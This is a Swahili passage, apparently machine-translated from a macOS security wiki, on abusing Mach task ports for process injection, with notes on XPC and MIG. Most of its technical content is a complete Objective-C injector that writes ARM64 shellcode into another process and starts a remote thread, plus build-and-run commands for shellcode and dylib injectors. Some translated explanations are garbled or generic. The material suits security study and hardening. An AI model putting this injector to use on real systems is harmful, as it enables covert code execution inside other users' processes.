  • Root anaweza kupata bandari za kazi za programu zisizotumiwa na kukusanywa na mazingira ya kazi imara (na sio kutoka Apple).

Jina la bandari ya kazi: Toleo lisiloruhusiwa la bandari ya kazi. Inahusisha kazi, lakini haimruhusu kuidhibiti. Kitu pekee kinachoonekana kupitia hii ni task_info().

Uingizaji wa Shellcode katika nyuzi kupitia Bandari ya Kazi

Unaweza kupata shellcode kutoka:

// clang -framework Foundation mysleep.m -o mysleep
// codesign --entitlements entitlements.plist -s - mysleep

#import <Foundation/Foundation.h>

double performMathOperations() {
double result = 0;
for (int i = 0; i < 10000; i++) {
result += sqrt(i) * tan(i) - cos(i);
}
return result;
}

int main(int argc, const char * argv[]) {
@autoreleasepool {
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo]
processIdentifier]);
while (true) {
[NSThread sleepForTimeInterval:5];

performMathOperations();  // Silent action

[NSThread sleepForTimeInterval:5];
}
}
return 0;
}

Maelezo

Faili hii ina orodha ya ruhusa zinazohitajika kwa mchakato wa programu. Kwa mfano, ruhusa ya kufikia kamera au kusoma data kutoka kwa mtumiaji. Kwa kawaida, ruhusa hizi zinahitajika ili mchakato uweze kufanya kazi kwa usahihi kwenye mfumo wa macOS.

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.get-task-allow</key>
<true/>
</dict>
</plist>

Kupasha programu iliyopita na ongeza haki za kipekee ili uweze kuingiza msimbo na mtumiaji huyo huyo (kama sivyo utahitaji kutumia sudo).

sc_injector.m

```objectivec // gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector // Based on https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a?permalink_comment_id=2981669 // and on https://newosxbook.com/src.jl?tree=listings&file=inject.c

#import <Foundation/Foundation.h> #import <AppKit/AppKit.h> #include <mach/mach_vm.h> #include <sys/sysctl.h>

#ifdef arm64

kern_return_t mach_vm_allocate ( vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags );

kern_return_t mach_vm_write ( vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt );

#else #include <mach/mach_vm.h> #endif

#define STACK_SIZE 65536 #define CODE_SIZE 128

// ARM64 shellcode that executes touch /tmp/lalala char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00";

int inject(pid_t pid){

task_t remoteTask;

// Get access to the task port of the process we want to inject into kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); if (kr != KERN_SUCCESS) { fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); return (-1); } else{ printf("Gathered privileges over the task port of process: %d\n", pid); }

// Allocate memory for the stack mach_vm_address_t remoteStack64 = (vm_address_t) NULL; mach_vm_address_t remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); return (-2); } else {

fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); }

// Allocate memory for the code remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); return (-2); }

// Write the shellcode to the allocated memory kr = mach_vm_write(remoteTask, // Task port remoteCode64, // Virtual Address (Destination) (vm_address_t) injectedCode, // Source 0xa9); // Length of the source

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr)); return (-3); }

// Set the permissions on the allocated code memory kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr)); return (-4); }

// Set the permissions on the allocated stack memory kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr)); return (-4); }

// Create thread to run shellcode struct arm_unified_thread_state remoteThreadState64; thread_act_t remoteThread;

memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );

remoteStack64 += (STACK_SIZE / 2); // this is the real stack //remoteStack64 -= 8; // need alignment of 16

const char* p = (const char*) remoteCode64;

remoteThreadState64.ash.flavor = ARM_THREAD_STATE64; remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64; remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;

printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );

kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, (thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr)); return (-3); }

return (0); }

pid_t pidForProcessName(NSString *processName) { NSArray *arguments = @[@"pgrep", processName]; NSTask *task = [[NSTask alloc] init]; [task setLaunchPath:@"/usr/bin/env"]; [task setArguments:arguments];

NSPipe *pipe = [NSPipe pipe]; [task setStandardOutput:pipe];

NSFileHandle *file = [pipe fileHandleForReading];

[task launch];

NSData *data = [file readDataToEndOfFile]; NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];

return (pid_t)[string integerValue]; }

BOOL isStringNumeric(NSString str) { NSCharacterSet nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet]; NSRange r = [str rangeOfCharacterFromSet: nonNumbers]; return r.location == NSNotFound; }

int main(int argc, const char * argv[]) { @autoreleasepool { if (argc < 2) { NSLog(@"Usage: %s ", argv[0]); return 1; }

NSString *arg = [NSString stringWithUTF8String:argv[1]]; pid_t pid;

if (isStringNumeric(arg)) { pid = [arg intValue]; } else { pid = pidForProcessName(arg); if (pid == 0) { NSLog(@"Error: Process named '%@' not found.", arg); return 1; } else{ printf("Found PID of process '%s': %d\n", [arg UTF8String], pid); } }

inject(pid); }

return 0; }

</details>  
### Maelezo  
Mfumo wa MacOS unatumia njia nyingi za mawasiliano kati ya michakato, ikiwa ni pamoja na mistari ya mawasiliano ya kimtandao, sockets za Unix, na machapisho ya XPC. Kila moja ya njia hizi inaweza kutumiwa vibaya na mshambuliaji kwa kusudi la kufikia ruhusa zisizoidhinishwa au kufanya uharibifu kwenye mfumo. Kuelewa jinsi mifumo hii ya mawasiliano inavyofanya kazi na jinsi inavyoweza kudukuliwa ni muhimu kwa kuboresha usalama wa mfumo wa MacOS.
```bash
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pi or string>

Ili hii ifanye kazi kwenye iOS unahitaji ruhusa ya dynamic-codesigning ili uweze kufanya kumbukumbu inayoweza kuandikwa kuwa inatekelezeka.

Kuingiza Dylib kwenye mjadala kupitia mlango wa Kazi

Katika macOS mijadala inaweza kudhibitiwa kupitia Mach au kutumia posix pthread api. Mjadala tulioumba katika kuingiza ya awali, uliundwa kwa kutumia api ya Mach, hivyo haizingatii posix.

Ilikuwa inawezekana kuingiza shellcode rahisi ili kutekeleza amri kwa sababu haikuwa inahitaji kufanya kazi na posix apis zinazofuata, bali na Mach tu. Kuingizwa kwa vitu vya kisasa zaidi ingehitaji mjadala pia kuwa inazingatia posix.

Hivyo basi, ili kuboresha mjadala ni vyema kuita pthread_create_from_mach_thread ambayo itaunda pthread halali. Kisha, pthread mpya hii inaweza kuita dlopen ili kupakia dylib kutoka kwenye mfumo, hivyo badala ya kuandika shellcode mpya kufanya vitendo tofauti ni rahisi kupakia maktaba za desturi.

Unaweza kupata dylibs mfano katika (kwa mfano ule unaotengeneza logi kisha unaweza kusikiliza):

### Maelezo ya Mchakato wa IPC wa macOS

Kwa kawaida, mchakato wa IPC wa macOS hutumiwa kwa mawasiliano kati ya michakato tofauti. Hata hivyo, inaweza kutumiwa vibaya kwa kusudi la kupata ruhusa zaidi au kufikia data ambazo mchakato haupaswi kuwa nazo. Kwa hivyo, ni muhimu kufahamu jinsi mchakato wa IPC unavyofanya kazi ili kuzuia matumizi mabaya.

gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
./inject <pid-of-mysleep> </path/to/lib.dylib>

Kuteka Wimbi kupitia Bandari ya Kazi

Katika mbinu hii, wimbi la mchakato linatekwa:

XPC

Taarifa Msingi

XPC, ambayo inasimama kwa Mawasiliano ya Mchakato wa XNU (jengo linalotumiwa na macOS), ni mfumo wa mawasiliano kati ya michakato kwenye macOS na iOS. XPC hutoa njia ya kufanya wito salama, usio wa moja kwa moja kati ya michakato tofauti kwenye mfumo. Ni sehemu ya mfumo wa usalama wa Apple, kuruhusu ujenzi wa programu zilizotenganishwa kwa mamlaka ambapo kila sehemu inaendeshwa na ruhusa inayohitajika tu kufanya kazi yake, hivyo kupunguza uharibifu unaoweza kutokea kutokana na mchakato ulioghushiwa.

Kwa maelezo zaidi kuhusu jinsi hii mawasiliano inavyofanya kazi au jinsi inavyoweza kuwa dhaifu, angalia:

MIG - Mjenzi wa Kiolesura cha Mach

MIG iliundwa ili kurahisisha mchakato wa uundaji wa nambari za Mach IPC. Hii ni kwa sababu kazi nyingi za programu ya RPC zinahusisha hatua sawa (kufunga hoja, kutuma ujumbe, kufungua data kwenye seva...).

MIC kimsingi inaunda nambari inayohitajika kwa seva na mteja kufanya mawasiliano na ufafanuzi uliopewa (katika IDL -Lugha ya Ufafanuzi wa Kiolesura-). Hata kama nambari iliyoundwa ni mbaya, mwandishi wa programu atahitaji tu kuagiza na nambari yake itakuwa rahisi sana kuliko hapo awali.

Kwa maelezo zaidi angalia:

Marejeo

Last updated